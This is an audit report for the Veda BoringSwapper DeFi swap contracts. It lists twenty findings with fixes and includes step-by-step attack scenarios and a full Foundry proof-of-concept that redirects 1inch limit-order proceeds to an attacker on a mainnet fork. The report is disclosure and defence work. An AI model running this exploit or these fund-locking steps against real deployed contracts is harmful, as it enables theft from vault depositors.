certora

Security Assessment

Final Report

Veda Swapper

June 2026

Prepared for Veda

Table of Contents

Project Summary

Project Scope

Project Name	Repository Link	Commit Hash	Platform
Veda Swapper	https://github.com/Veda-Labs/boring-vault/tree/feat/swapper	f580117(initial) b93d060 (fix)	Solidity

Project Overview

This document describes the security review of **Veda Swapper**. The work was undertaken from **June 1st, 2026** to **June 17th, 2026**.

The following contract list is included in our scope:

```
src/base/Periphery/BoringSwapper.sol
src/base/Periphery/AdapterRegistry.sol
src/base/Periphery/FeeRegistry.sol
src/base/Periphery/adapters/price/PriceValidator.sol
src/base/DecodersAndSanitizers/Protocols/BoringSwapperDecoderAndSanitizer.sol
src/base/Periphery/adapters/BaseAdapter.sol
src/base/Periphery/adapters/CowswapAdapter.sol
src/base/Periphery/adapters/UniswapV3Adapter.sol
src/base/Periphery/adapters/OneInchAdapter.sol
src/base/Periphery/adapters/OneInchAdapterNoExecutor.sol
src/base/Periphery/adapters/OpenOceanAdapter.sol
src/base/Periphery/adapters/LifiAdapter.sol
src/base/Periphery/adapters/M0Adapter.sol
src/helper/GenericRateProviderWithStalenessCheck.sol
```

The team performed a manual audit of all the files in scope. During the manual audit, the Certora team discovered bugs in the code, as listed on the following page.

Protocol Overview

The BoringSwapper protocol is a swap execution layer for BoringVault instances, designed to let authorized strategists trade vault assets through external DEX aggregators and limit order protocols while enforcing oracle-based slippage protection and protocol fee collection.

The protocol centers on a single BoringSwapper contract that supports two execution modes. In atomic swaps, tokenIn is pulled from the vault, routed through an approved adapter in a single transaction, and tokenOut is returned immediately. In limit orders, the swapper locks principal on behalf of the vault and registers an authorization that external settlement protocols can fill asynchronously; the mechanism depends on the adapter: CoW and 1inch use an EIP-1271-compatible order signature, while M0 explicitly opens the order on-chain and transfers tokenIn into the order book contract at submission time.

Each swap call is routed through ManagerWithMerkleVerification using the BoringSwapperDecoderAndSanitizer, which enforces Merkle-verified allowlists on token pairs and receiver addresses before forwarding to the swapper, forming the primary on-chain access control layer for strategist calls. Protocol-specific encoding and validation is delegated to immutable adapter contracts — two 1inch variants (OneInchAdapter, which enforces a trusted executor allowlist for generic swaps, and OneInchAdapterNoExecutor, which omits that check), LifiAdapter, OpenOceanAdapter, CowswapAdapter, UniswapV3Adapter, and M0Adapter — each of which decodes calldata, verifies that token routes and receivers match the approved configuration, and returns the swap target and input amount back to the swapper. A PriceValidator contract performs oracle-based slippage checks using configurable IRateProvider sources, supporting both direct and intermediate-hop pricing; GenericRateProviderWithStalenessCheck is the in-scope IRateProvider implementation, which wraps an external price feed and reverts if the reported rate is stale.

Fees are managed by an external FeeRegistry controlled exclusively by Veda: for atomic swaps, a percentage of tokenOut is withheld and transferred to a fee recipient at settlement time; for limit orders, a fee in tokenIn is escrowed alongside the principal at submission and released to Veda upon an authorised on-chain call following a successful fill or order cancellation.

An AdapterRegistry maintained by Veda tracks which adapter contracts are legitimate, and each swapper instance maintains its own per-adapter approval on top of the global registry, requiring both to be satisfied before any adapter can be used.

Assessment Methodology

Our assessment approach combines design level analysis with a deep review of the implementation to ensure that a protocol is secure, economically sound, and behaves as intended under realistic conditions.

At the design level, we evaluate the architecture, the economic assumptions behind the protocol, and the safety properties that should hold independently of a specific chain or environment. This process includes reviewing internal and cross protocol interactions, state transition flows, trust boundaries, and any mechanism that could be exploited to extract value, deny service, or alter core system behavior. At this stage, a focused threat modelling exercise helps identify key attack surfaces and adversarial capabilities relevant to the system. Design level issues often relate to incentive structures, governance implications, or systemic behavior that emerges under adversarial conditions.

Implementation analysis focuses on the concrete behavior of the code within the execution model of the target chain. This involves reviewing the correctness of logic, access control, state handling, arithmetic behavior, and the nuanced behaviors of the chain environment. Familiar classes of vulnerabilities such as reentrancy conditions, faulty permission checks, precision issues, or unsafe assumptions often surface at this layer. These findings require context aware reasoning that takes into account both the code and the architectural intent.

To support this analysis, the codebase is examined through repeated manual passes and supplemented by automated tools when appropriate. High-risk logic areas receive deeper scrutiny, invariants are validated against both design intent and actual implementation, and potential vulnerability leads are thoroughly investigated. Automated techniques such as static analysis, fuzzing, or symbolic execution may be used to complement manual review and provide additional insight.

Collaboration with the development team plays an important role throughout the audit. This helps confirm expected behaviors, clarify design assumptions, and ensure an accurate understanding of the protocol's intended operation. All findings are documented with clear reasoning, reproducible examples, and actionable recommendations. A follow up review is conducted to validate the applied fixes and verify that no regressions or secondary issues have been introduced.

Threat and Security Overview

The BoringSwapper is a modular swap execution engine designed to serve one or more BoringVaults. It holds assets transiently — only during the window between fund receipt and execution — and relies on a set of governance-approved adapters to translate high-level SwapConfig objects into concrete calldata for external DeFi protocols. Two execution modes are supported: atomic swaps, where the swapper acts as taker against on-chain liquidity in a single transaction, and limit orders, where the swapper acts as maker and places a resting order that external solvers can fill asynchronously. For CoW Protocol and 1inch the authorization is an EIP-1271-compatible signature against an off-chain orderbook; for M0 the order is opened on-chain immediately at submission time and tokenIn is escrowed directly in the M0 OrderBook contract. Supporting infrastructure includes a FeeRegistry mapping swapper and token-pair tuples to fee rates and recipients, a PriceValidator enforcing oracle-backed slippage bounds on every swap, and a family of IRateProvider implementations supplying live price data from Chainlink or arbitrary on-chain callables.

The core invariants the audit set out to verify are: no token flow out of the swapper bypasses oracle-validated slippage; an adapter may only be invoked if it appears on the on-chain allowlist and the swapper is unpaused; every limit order's output token route is locked to the vault at submission time and remains locked through fill; the swapper's balance for any denomination satisfies at all times the floor defined by pendingOrderPrincipal plus feesInToken plus claimableFees; and limit orders are fully filled exactly once. Trust is tiered: governance sets the adapter allowlist, oracle configurations, fee parameters, and rate limits; strategists are trusted to select swap paths and order parameters within those boundaries but are explicitly not trusted to be honest; and solvers and off-chain bots interact only through isValidSignature, which is treated as a re-entry point that must independently revalidate every invariant established at order submission.

The audit focused on five broad attack surfaces.

The first was the pricing of limit orders at fill time. The contract never records the link between an order's hash and its stored pricing parameters, so every fill is validated against the first order ever submitted rather than the one being filled — and once that first order is gone, all later fills revert, disabling limit orders entirely.

The second surface was the 1inch fee extension, the richest cluster of value-loss bugs. The adapter inspects an order's fee extension but never binds it to the order actually executed, so a strategist can show a benign extension at submission and supply a malicious one at fill, redirecting the entire output — a vector proven end to end on a mainnet fork. The same gap lets a strategist hide fees of up to roughly 56.7%, point the order at a custom getter that reports almost nothing owed so the vault's full sell amount drains for near-zero, or omit the post-interaction flag so the router never invokes the FeeTaker's forwarding callback and the proceeds remain stranded in the FeeTaker contract.

The third surface was order-flag handling and the fill accounting that depends on it. Two flag combinations the adapter fails to constrain let a strategist either bypass the price and rate-limit checks altogether or make a fully filled order appear untouched, corrupting the contract's view of how much was actually traded.

The fourth surface was input validation in the adapters. The 1inch path confirms a pool is genuine but not that the input token belongs to it, which on Uniswap V3 lets a crafted swap drain a pending limit order's funds; and the M0 adapter accepts malformed addresses that M0 itself rejects, letting a strategist permanently lock vault funds for up to roughly 80 years.

The fifth surface covered approvals, settlement state, and configuration. Atomic swaps over-approve the swap target, exposing the escrowed funds of any pending order that shares it. The CoW adapter leaves appData unrestricted, letting a strategist quietly skim up to 1% of each trade via partner fees, and lets a filled, expired order be made to look unfilled so a bogus refund drains other orders' principal. Lower-risk gaps round out the surface: an uncapped fee in the fee registry's constructor, an unverified assumption that all price feeds share the same scale, an unreachable swap route, a resubmitted-order trap, and a duplicated config type that could desync the off-chain authorization layer.

Manual review covered all functions in BoringSwapper, FeeRegistry, PriceValidator, OneInchAdapter, OneInchAdapterNoExecutor, OpenOceanAdapter, UniswapV3Adapter, CowswapAdapter, and M0Adapter, as well as the GenericRateProviderWithStalenessCheck contract. AggregationRouterV6 was read to trace the unoswap, fillOrder, and _fill internals relevant to adapter trust assumptions. The CoW settlement contract and 1inch Limit Order Protocol were cross-referenced to verify field semantics, fill-state storage, and fill-check APIs. Integration tests were executed against a mainnet fork to exercise the limit order fill path using live on-chain contracts and to produce a working proof of concept for the extension-spoofing redirect attack. The hashToOrder pricing bypass was verified analytically. Formal verification of

the bookkeeping arithmetic and fuzz testing of the fee rounding edge case were not performed and represent the primary coverage gaps.

Five high-severity issues dominate the risk profile, concentrated in two areas. The 1inch fee extension is the epicenter, with three independent ways for a strategist to redirect or drain a limit order's value — the most severe draining the entire position past the oracle check, and one already proven on a live fork. The second is the order-record mix-up, which silently prices every fill against the wrong parameters and can disable limit orders outright. A permanent fund-lock in the M0 adapter is severe but harder to trigger. The medium-tier issues mostly compound one another, letting one mode's open approval become another's attack path. The common thread is that the swapper trusts strategist-supplied order data far more than the adapters actually verify, and treats external settlement state as truth without tying it to its own records — so the fixes center on validating each order field at the adapter and not relying on outside fill-state for refunds.

Findings Summary

The table below summarizes the findings of the review, including type and severity details.

Severity	Discovered	Confirmed	Fixed
Critical	-	-	-
High	5	5	5
Medium	6	6	6
Low	5	5	4
Informational	4	4	1
Total	**20**	**20**	**16**

Severity Matrix

Impact	High	Medium	High	Critical
	Medium	Low	Medium	High
	Low	Low	Low	Medium
		Low	Medium	High
		Likelihood		

certora

Detailed Findings

ID	Title	Severity	Status
H-01	`hashToOrder` is never populated, so `isValidSignature` will always validate against the first order record	High	Fixed
H-02	M0 orders with dirty high bits in `recipient` and `tokenOut` can never be filled nor cancelled, permanently locking vault funds	High	Fixed
H-03	A malicious strategist can redirect limit-order output because the 1inch extension is never checked in `verifyLimitOrder()`	High	Fixed
H-04	In OneInch, `verifyLimitOrder` does not validate fee recipients or fee amounts in the FeeTaker extension, allowing a strategist to steal up to 56.7% of vault buyTokens	High	Fixed
H-05	`verifyLimitOrder` does not validate `takingAmountData` in the 1inch extension, allowing a malicious strategist to drain vault sellTokens for near-zero cost	High	Fixed
M-01	`OneInchAdapter` doesn't enforce partial + multiple fills orders allowing misinterpretation of `filledAmount`	Medium	Fixed

M-02	Atomic swaps approve more tokens than necessary, enabling consumption of pending limit order allowance	Medium	Fixed
M-03	1inch pool validation does not check that `tokenIn` is one of the tokens of the pool, allowing a malicious strategist to corrupt the swapper accounting	Medium	Fixed
M-04	`CowswapAdapter` does not restrict `appData`, allowing a malicious strategist to redirect up to 1% of every CoW order's output via a partner fees	Medium	Fixed
M-05	OneInch's `verifyLimitOrder` does not check `POST_INTERACTION_CALL_FLAG`, allowing a strategist to trap vault buyTokens in the FeeTaker contract	Medium	Fixed
M-06	`fillOrder` does not block the maker-amount flag, corrupting price validation and rate limits	Medium	Fixed
L-01	A malicious strategist can trap vault principal by resubmitting an identical order after its hash is cleared	Low	Fixed
L-02	`swapGmxV2` is permanently broken through BoringSwapper because no ETH value is forwarded	Low	Fixed
L-03	`FeeRegistry` constructor does not validate `_maxFeeBps`	Low	Fixed

L-04	`PriceValidator` silently assumes all rate providers return 1e18-scaled rates with no on-chain enforcement	Low	Fixed
L-05	CoW `freeFilledAmountStorage` causes filled expired orders to appear unfilled, enabling a fake cancel refund that drains other pending orders' principal	Low	Acknowledged
I-01	`BoringSwapperDecoder` uses a duplicate `SwapConfig` struct instead of `ISwapperTypes.SwapConfig`	Informational	Acknowledged
I-02	Refund amount can be calculated once and re-used in `_cancelOrder`	Informational	Acknowledged
I-03	`approvedHashes` and `hashToOrder` are redundant mappings	Informational	Acknowledged
I-04	`_extractCustomReceiver` does not validate `postInteractionEnd`, allowing PostInteractionData to be read from CustomData	Informational	Fixed

High Severity Issues

H-01: `hashToOrder` is never populated, so `isValidSignature` will always validate against the first order record

Severity: High	Impact: High	Likelihood: High
Files: /src/base/Periphery/BoringSwapper.sol	Status: Fixed	

Description:

`_limitOrderPreFlightCheck` writes the order record and approves the protocol hash, but never populates the `hashToOrder` reverse mapping.

`isValidSignature` uses `hashToOrder` to look up the order record that holds the stored `quoteAsset` and `slippageBps` for price validation:

```
    function isValidSignature(bytes32 _hash, bytes memory _signature) external
view returns (bytes4) {
        ...
        //lookup the order record
        uint256 orderId = hashToOrder[_hash]; // always returns 0
        OrderRecord memory record = orderRecords[orderId]; // always reads
orderRecords[0]

        IPriceValidator(priceValidator)
            .validate(
                ERC20(info.inputToken),
                ERC20(info.outputToken),
                info.inputAmount,
                info.outputAmount,
                record.quoteAsset, // from orderRecords[0], not the validated
order
                record.slippageBps // from orderRecords[0], not the validated
order
```

```
            );
        ...
```

Because `hashToOrder` is a mapping with a default value of zero, every lookup returns `0` regardless of which hash is passed, so every fill callback reads `orderRecords[0]` (the record of the first order ever submitted) rather than the record of the order actually being validated.

Impact

Orders with `orderId > 0` are validated against the wrong slippage parameters. Concretely:

1. **Wrong oracle pair.** `record.quoteAsset` belongs to order 0 and may be an unrelated token. The PriceValidator then prices the fill through an oracle path that was never configured for the token pair of the order being filled, causing the slippage check to revert on a legitimate fill or pass on an illegitimate one.

2. **DoS after order 0 is released or cancelled.** When order 0's lifecycle ends, `delete orderRecords[0]` zeroes the struct. From that point on, every `isValidSignature` call reads `quoteAsset = address(0)` and `slippageBps = 0`. `PriceValidator.validate` called with `quoteAsset = address(0)` has no configured rate provider and reverts, making it impossible to fill any active limit order.

Recommendations:

Add the missing mapping write immediately after setting `approvedHashes` in `_limitOrderPreFlightCheck`:

```
function _limitOrderPreFlightCheck(ISwapperTypes.SwapConfig memory swapConfig)
        internal
        returns (bytes32, IAdapter.OrderInfo memory, uint256)
    {
        ...
        uint256 orderId = orders;
        orderRecords[orderId] = OrderRecord({ ... });
        approvedHashes[info.protocolHash] = true;
+       hashToOrder[info.protocolHash] = orderId;
        ...
        orders += 1;
```

```
        ...
```

This ensures `isValidSignature` retrieves the correct `OrderRecord` for each validated hash, restoring the intended slippage protection for all limit orders.

Additionally, `orders` should be initialized to `1` instead of `0`. `hashToOrder` is a mapping whose default value is `0`, so `orderId = 0` is currently ambiguous: it means both "the first real order" and "this key was never written." If `orders` starts at `1`, then `orderId = 0` becomes an unambiguous sentinel for "not found" and `orderRecords[0]` is always the zeroed struct. Any hash that incorrectly resolves to `orderId = 0` (whether due to a missing `hashToOrder` write or a deleted entry) produces a predictable and detectable failure rather than silently using a real order's parameters.

Customer Response:

Fixed in commit 5b1f2d3.

Fix Review:

Fix confirmed. Both the recommended code changes have been implemented.

H-02: M0 orders with dirty high bits in `recipient` and `tokenOut` can never be filled nor cancelled, permanently locking vault funds

Severity: High	Impact: High	Likelihood: Low
Files: /src/base/Periphery/adapters/M0Adapter.sol	Status: Fixed	

Description:

`M0Adapter.verifyLimitOrder` validates `order.recipient` and `order.tokenOut` using `AddressToBytes32Lib.toAddress`, which extracts the address from the lower 20 bytes and silently ignores the upper 12 bytes:

```
    function toAddress(bytes32 bytes32Value) internal pure returns (address) {
        return address(bytes20(bytes32Value << 96));
    }
```

So a bytes32 like `0xDEADBEEF00000000000000000012345...` passes the `ReceiverMismatch` and `TokenOutMismatch` checks as if it were `0x000...00012345...`.

`M0`'s `OrderBook` uses the TypeConverter contract's `toAddress` function, which reverts if the upper 96 bits are not zero:

```
    function toAddress(bytes32 bytes32Value) internal pure returns (address) {
        if (!isValidAddress(bytes32Value)) revert InvalidAddress(bytes32Value);
        return address(uint160(uint256(bytes32Value)));
    }
    ...
    function isValidAddress(bytes32 bytes32Value) internal pure returns (bool) {
        // The top 12 bytes must be zero for a valid Ethereum address
        return uint256(bytes32Value) >> 160 == 0;
    }
```

M0's openOrder does not call toAddress, it stores the raw bytes32 values as-is. So an order with dirty bits is created successfully. But:

- _fillOrder calls tokenOut.toAddress() and recipient.toAddress(). Both revert if the value has dirty bits. The order can never be filled.
- _cancelOrder calls recipient.toAddress() in its authorization check. This would also revert for recipient values with dirty bits when block.timestamp <= fillDeadline. The order cannot be cancelled until the deadline has passed.

A malicious or compromised strategist can exploit this to permanently lock vault funds:

1. Submit an M0 order for the maximum allowed amount, setting non-zero bits in the upper 96 bits of both order.recipient and order.tokenOut, and setting fillDeadline = type(uint32).max (year 2106, ~80 years from now).
2. verifyLimitOrder passes all checks. M0's openOrder creates the order and pulls amountIn of tokenIn from the vault into the OrderBook.
3. Any fill attempt reverts on M0's side: tokenOut.toAddress() reverts.
4. Any cancel attempt through BoringSwapper.cancelOrder also reverts: M0's _cancelOrder tries to call recipient.toAddress() for the authorization check, which reverts.
5. The funds are stuck in the M0 OrderBook with no recovery path until fillDeadline is surpassed, which with type(uint32).max is effectively never.

Recommendations:

Add validation in verifyLimitOrder that the upper 96 bits of order.recipient and order.tokenOut are zero, consistent with what TypeConverter library enforces:

```
if (uint256(order.recipient) >> 160 != 0) revert M0Adapter__DirtyRecipient();
if (uint256(order.tokenOut) >> 160 != 0) revert M0Adapter__DirtyTokenOut();
```

Customer Response:

Fixed in commit 5b1f2d3.

Fix Review:

Fix confirmed.

H-03: A malicious strategist can redirect limit-order output because the 1inch extension is never checked in `verifyLimitOrder()`

Severity: High	Impact: High	Likelihood: Medium
Files: src/base/Periphery/adapters/OneInchAdapter.sol#L283-L300	Status: Fixed	

Description:

`verifyLimitOrder()` validates a FeeTaker order's extension but never ties that extension to the order it approves, so the extension the adapter checks is not the extension the 1inch router executes.

In 1inch, an order commits to its extension only through the low 160 bits of `salt` (`keccak256(extension)[:160] == salt[:160]`). The adapter never enforces this rule, and `salt` is a strategist-controlled field. It reads one value out of the extension, the custom receiver, compares it to the vault, and computes the approved hash from the order struct alone:

```
// OneInchAdapter.sol:283-300
if (extension.length > 0) {
    if (order.receiver != feeTaker) revert OneInchAdapter__UnknownFeeTaker();
    address customReceiver = _extractCustomReceiver(extension);   // one field
read, extension never bound
    if (customReceiver != address(swapConfig.receiver)) revert
Adapter__ReceiverMismatch();
}
...
    outputAmount: order.takingAmount,                              // gross,
pre-fee
```

Because the extension is unchecked, a malicious strategist can submit a benign extension `E1` (custom receiver = vault) to pass validation, then sets `salt` to bind the order to a different extension `E2` (custom receiver = attacker).

At fill, the router enforces `salt` against `E2`, asks the swapper's `isValidSignature()` to re-confirm the order (it re-checks `E1` and returns the magic value), and runs `E2`. The receiver the adapter approved and the receiver the router pays diverge.

The same unchecked-extension root cause has two further effects, neither closed by the `customReceiver == vault` check:

- **Fees never validated.** The FeeTaker pays its integrator and protocol fee recipients straight from the extension (`integratorFeeRecipient = extraData[1:21]`, no whitelist). The adapter checks neither recipients nor amounts and reports the gross `takingAmount`. A strategist names themselves as fee recipient and skims a large fraction of the output, bounded by 1inch's fee math
- **Wrong parser.** `_extractCustomReceiver()` reads the receiver at a fixed header offset rather than 1inch's `ExtensionLib` field layout, so the adapter and the FeeTaker can resolve different receivers from the same bytes. Binding the extension to `salt` closes the first effect. The fee and parser effects need the extension's contents and layout checked too

Scenario:

A malicious strategist sells 1 WETH for 2,000 USDC and keeps the proceeds.

1. Build extension `E2` with custom receiver = attacker; set `salt = uint160(keccak256(E2))`.
2. Build extension `E1` with custom receiver = vault; call `submitOrder()` with `swapData = abi.encode(order, E1)`, `order.receiver = feeTaker`.
3. `verifyLimitOrder()` passes (`_extractCustomReceiver(E1) == vault`). The swapper pulls 1 WETH, approves the router, and approves the hash. `E1` is never bound.
4. A taker fills on the 1inch router with `E2` in `args`. The router checks `keccak256(E2)[:160] == salt[:160]` (true), gets the magic value from the swapper's `isValidSignature()` (re-validating `E1`), and runs `E2`, sending the 2,000 USDC to attacker.

After: vault down 1 WETH, received 0 USDC, attacker holds the 2,000 USDC.

PoC:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.21;
```

```
import {Test, console2} from "@forge-std/Test.sol";
import {ERC20} from "@solmate/tokens/ERC20.sol";

import {BoringVault} from "src/base/BoringVault.sol";
import {BoringSwapper} from "src/base/Periphery/BoringSwapper.sol";
import {AdapterRegistry} from "src/base/Periphery/AdapterRegistry.sol";
import {FeeRegistry} from "src/base/Periphery/FeeRegistry.sol";
import {PriceValidator} from
"src/base/Periphery/adapters/price/PriceValidator.sol";
import {OneInchAdapter} from "src/base/Periphery/adapters/OneInchAdapter.sol";
import {IPriceValidator} from "src/interfaces/IPriceValidator.sol";
import {ISwapperTypes} from "src/interfaces/ISwapperTypes.sol";
import {IRateProvider} from "src/interfaces/IRateProvider.sol";
import {DecoderCustomTypes} from "src/interfaces/DecoderCustomTypes.sol";

interface IAggregationRouterV6 {
    function fillContractOrderArgs(
        DecoderCustomTypes.OneInchV6Order calldata order,
        bytes calldata signature,
        uint256 amount,
        uint256 takerTraits,
        bytes calldata args
    ) external returns (uint256 makingAmount, uint256 takingAmount, bytes32
orderHash);
}

contract MockRate is IRateProvider {
    uint256 r;
    constructor(uint256 _r) { r = _r; }
    function getRate() external view returns (uint256) { return r; }
}

contract BoringSwapperForkTest is Test {
    // Real mainnet contracts. No stand-ins: the router AND the FeeTaker are the
live deployments.
    address constant ONEINCH_ROUTER = 0x111111125421cA6dc452d289314280a0f8842A65;
// AggregationRouterV6
    address constant ONEINCH_FEE_TAKER =
0x01e520D4E77DBe6833c8257cb8a05DbD24a4D332; // 1inch FeeTaker
```

```
    address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
    address constant UNIV2_FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
    address constant UNIV3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984;
    address constant CURVE_META_REGISTRY =
0xF98B45FA17DE75FB1aD0e7aFD971b0ca00e379fC;

    // 1inch maker-trait / taker-trait bit flags (see MakerTraitsLib /
TakerTraitsLib).
    uint256 constant NO_PARTIAL_FILLS_FLAG = 1 << 255;
    uint256 constant POST_INTERACTION_CALL_FLAG = 1 << 251;
    uint256 constant HAS_EXTENSION_FLAG = 1 << 249;
    uint256 constant EXPIRATION_OFFSET = 80;
    uint256 constant MAKER_AMOUNT_FLAG = 1 << 255;
    uint256 constant ARGS_EXTENSION_LENGTH_OFFSET = 224;

    bytes32 constant ORDER_TYPE_HASH = keccak256(
        "Order(uint256 salt,address maker,address receiver,address
makerAsset,address takerAsset,uint256 makingAmount,uint256 takingAmount,uint256
makerTraits)"
    );

    BoringVault vault;
    BoringSwapper swapper;
    AdapterRegistry registry;
    PriceValidator validator;
    OneInchAdapter adapter;

    address attacker = makeAddr("attacker");

    struct Attack {
        DecoderCustomTypes.OneInchV6Order v6;
        bytes signature;
        bytes E2;
        uint256 takerTraits;
        uint256 making;
    }

    function setUp() public {
```

```
        vm.createSelectFork(vm.envOr("MAINNET_RPC_URL",
string("https://eth.drpc.org")), 24592183);

        vault = new BoringVault(address(this), "Boring Vault", "BV", 18);
        registry = new AdapterRegistry();
        validator = new PriceValidator();
        swapper = new BoringSwapper(
            address(this), registry, new FeeRegistry(address(this), 1000), vault,
IPriceValidator(address(validator))
        );

        adapter = new OneInchAdapter(
            ONEINCH_ROUTER, ONEINCH_FEE_TAKER, makeAddr("executor"),
UNIV2_FACTORY, UNIV3_FACTORY, CURVE_META_REGISTRY
        );
        registry.put(address(adapter), "ONEINCH");
        swapper.setApprovedAdapter(address(adapter), true);

        swapper.setRouteConfig(ERC20(WETH), ERC20(USDC), 50, 0, 0);
        swapper.setTokenOracle(ERC20(WETH), USDC, _oracle(address(new
MockRate(2000e18))));
        swapper.setTokenOracle(ERC20(USDC), USDC, _oracle(address(new
MockRate(1e18))));

        deal(WETH, address(vault), 100e18);
        vm.prank(address(vault));
        ERC20(WETH).approve(address(swapper), type(uint256).max);

        assertEq(ERC20(WETH).decimals(), 18, "weth decimals");
        assertEq(ERC20(USDC).decimals(), 6, "usdc decimals");
    }

    function test_spoofed_extension_redirects_proceeds_on_real_router() public {
        Attack memory a = _submitSpoofedOrder();

        deal(USDC, attacker, a.v6.takingAmount);
        vm.prank(attacker);
        ERC20(USDC).approve(ONEINCH_ROUTER, type(uint256).max);
```

```
        uint256 attackerWethBefore = ERC20(WETH).balanceOf(attacker);
        uint256 attackerUsdcBefore = ERC20(USDC).balanceOf(attacker);
        uint256 vaultUsdcBefore = ERC20(USDC).balanceOf(address(vault));

        vm.prank(attacker);
        IAggregationRouterV6(ONEINCH_ROUTER).fillContractOrderArgs(a.v6,
a.signature, a.making, a.takerTraits, a.E2);

        assertEq(ERC20(WETH).balanceOf(attacker) - attackerWethBefore, a.making,
"attacker took principal");
        assertEq(ERC20(USDC).balanceOf(attacker), attackerUsdcBefore, "attacker
paid net zero");
        assertEq(ERC20(USDC).balanceOf(address(vault)) - vaultUsdcBefore, 0,
"vault got no proceeds");
        assertEq(ERC20(WETH).balanceOf(address(swapper)), 0, "principal sold");

        console2.log("vault WETH sold       :", a.making);
        console2.log("vault USDC received   :",
ERC20(USDC).balanceOf(address(vault)) - vaultUsdcBefore);
        console2.log("attacker WETH gained  :", ERC20(WETH).balanceOf(attacker) -
attackerWethBefore);
        console2.log("attacker USDC net cost:", attackerUsdcBefore -
ERC20(USDC).balanceOf(attacker));
    }

    function _submitSpoofedOrder() internal returns (Attack memory a) {
        uint256 making = 1e18; // vault sells 1 WETH
        uint256 taking = 2000e6; // for 2,000 USDC (matches the 2000 USD/ETH
oracle)

        // E2: the extension the real router executes, in genuine 1inch FeeTaker
format. Zero fees +
        // attacker as custom receiver => the real FeeTaker forwards the full
takingAmount to attacker.
        a.E2 = _realFeeTakerExtension(attacker, attacker);

        // The strategist controls salt; the 1inch router binds the extension to
the order ONLY
        // through the low 160 bits of salt, so point the order at E2.
```

```
        uint256 salt = uint256(uint160(uint256(keccak256(a.E2))));
        a.making = making;

        uint256 makerTraits =
            NO_PARTIAL_FILLS_FLAG | POST_INTERACTION_CALL_FLAG |
HAS_EXTENSION_FLAG
            | (uint256(type(uint40).max) << EXPIRATION_OFFSET);

        // E1: the benign extension shown to the adapter, custom receiver =
vault.
        DecoderCustomTypes.OneInchLimitOrder memory order =
DecoderCustomTypes.OneInchLimitOrder({
            salt: salt,
            maker: address(swapper),
            receiver: ONEINCH_FEE_TAKER, // FeeTaker order: real receiver lives
in the extension
            makerAsset: WETH,
            takerAsset: USDC,
            makingAmount: making,
            takingAmount: taking,
            makerTraits: makerTraits
        });
        ISwapperTypes.SwapConfig memory cfg = ISwapperTypes.SwapConfig({
            tokenRoute: ISwapperTypes.TokenRoute(ERC20(WETH), ERC20(USDC)),
            adapter: address(adapter),
            quoteAsset: USDC,
            swapData: abi.encode(order,
_adapterFeeTakerExtension(address(vault))), // adapter only inspects E1
            slippageBps: 50,
            receiver: vault
        });

        swapper.submitOrder(cfg);
        assertTrue(swapper.approvedHashes(_orderHash(order)), "approved off
benign E1");
        assertEq(ERC20(WETH).balanceOf(address(swapper)), making, "principal
escrowed");

        a.signature = abi.encode(cfg); // ERC-1271 blob carries the benign E1
```

```
        a.takerTraits = MAKER_AMOUNT_FLAG | (uint256(a.E2.length) <<
ARGS_EXTENSION_LENGTH_OFFSET);
        a.v6 = DecoderCustomTypes.OneInchV6Order({
            salt: salt,
            maker: uint256(uint160(address(swapper))),
            receiver: uint256(uint160(ONEINCH_FEE_TAKER)),
            makerAsset: uint256(uint160(WETH)),
            takerAsset: uint256(uint160(USDC)),
            makingAmount: making,
            takingAmount: taking,
            makerTraits: makerTraits
        });
    }

    /// @dev E2 in the real 1inch FeeTaker extension format (the format the
deployed FeeTaker parses).
    ///      Post-interaction field = [feeTaker target (20)] then the FeeTaker
extraData:
    ///      [flags=0x01 (1)][integrator recipient (20)][protocol recipient
(20)][custom receiver (20)]
    ///      [integratorFee=0 (2)][integratorShare=0 (1)][resolverFee=0
(2)][whitelistDiscount=0 (1)]
    ///      [whitelist size=1 (1)][whitelisted taker, low 80 bits (10)]. Zero
fees => 100% to receiver;
    ///      the taker is whitelisted so the FeeTaker's whitelist/access-token
gate passes.
    function _realFeeTakerExtension(address customReceiver, address taker)
internal pure returns (bytes memory) {
        bytes memory feeData = abi.encodePacked(
            uint16(0),                  // integrator fee (1e5)
            uint8(0),                   // integrator share (1e2)
            uint16(0),                  // resolver fee (1e5)
            uint8(0),                   // whitelist discount numerator (1e2)
            uint8(1),                   // whitelist size
            uint80(uint160(taker))      // whitelisted taker, low 80 bits
        );
        bytes memory pi = abi.encodePacked(
            ONEINCH_FEE_TAKER,          // post-interaction target the router
strips off
```

```
            bytes1(0x01),                // flags: custom receiver present
            bytes20(uint160(0xC0FFEE)),  // integrator fee recipient
            bytes20(uint160(0xDECAF)),   // protocol fee recipient
            bytes20(customReceiver),     // custom receiver
            feeData
        );
        return abi.encodePacked(bytes32(uint256(pi.length) << 224), pi);
    }

    /// @dev FeeTaker extension in the layout the adapter's
`_extractCustomReceiver` parses
    ///      (32-byte zero offsets header => postInteraction starts at field
offset 0):
    ///
[feeTaker(20)][flags=0x01(1)][integrator(20)][protocol(20)][customReceiver(20)].
    function _adapterFeeTakerExtension(address customReceiver) internal pure
returns (bytes memory) {
        return abi.encodePacked(
            bytes32(0),
            ONEINCH_FEE_TAKER,
            bytes1(0x01),
            bytes20(uint160(0xC0FFEE)),
            bytes20(uint160(0xDECAF)),
            bytes20(customReceiver)
        );
    }

    function _orderHash(DecoderCustomTypes.OneInchLimitOrder memory o) internal
view returns (bytes32) {
        bytes32 structHash = keccak256(abi.encodePacked(ORDER_TYPE_HASH,
abi.encode(o)));
        return keccak256(abi.encodePacked("\x19\x01", adapter.domainSeparator(),
structHash));
    }

    function _oracle(address rp) internal pure returns
(BoringSwapper.RateProviderConfig memory c) {
        address[] memory rps = new address[](1);
        rps[0] = rp;
```

```
        address[] memory ints = new address[](1);
        ints[0] = address(0);
        c = BoringSwapper.RateProviderConfig({rateProvider: rps, intermediary:
ints, skipValidation: false});
    }
}
```

Recommendations:

Validate the extension in `verifyLimitOrder()` so the extension the adapter checks is the one the router runs. Two changes:

1. Bind the extension to the order, the same way the router does, so the order's `salt` commits to this exact extension:

```
// src/base/Periphery/adapters/OneInchAdapter.sol  (verifyLimitOrder, the
extension branch)
if (uint160(uint256(keccak256(extension))) != uint160(order.salt)) {
    revert OneInchAdapter__ExtensionNotBoundToSalt();
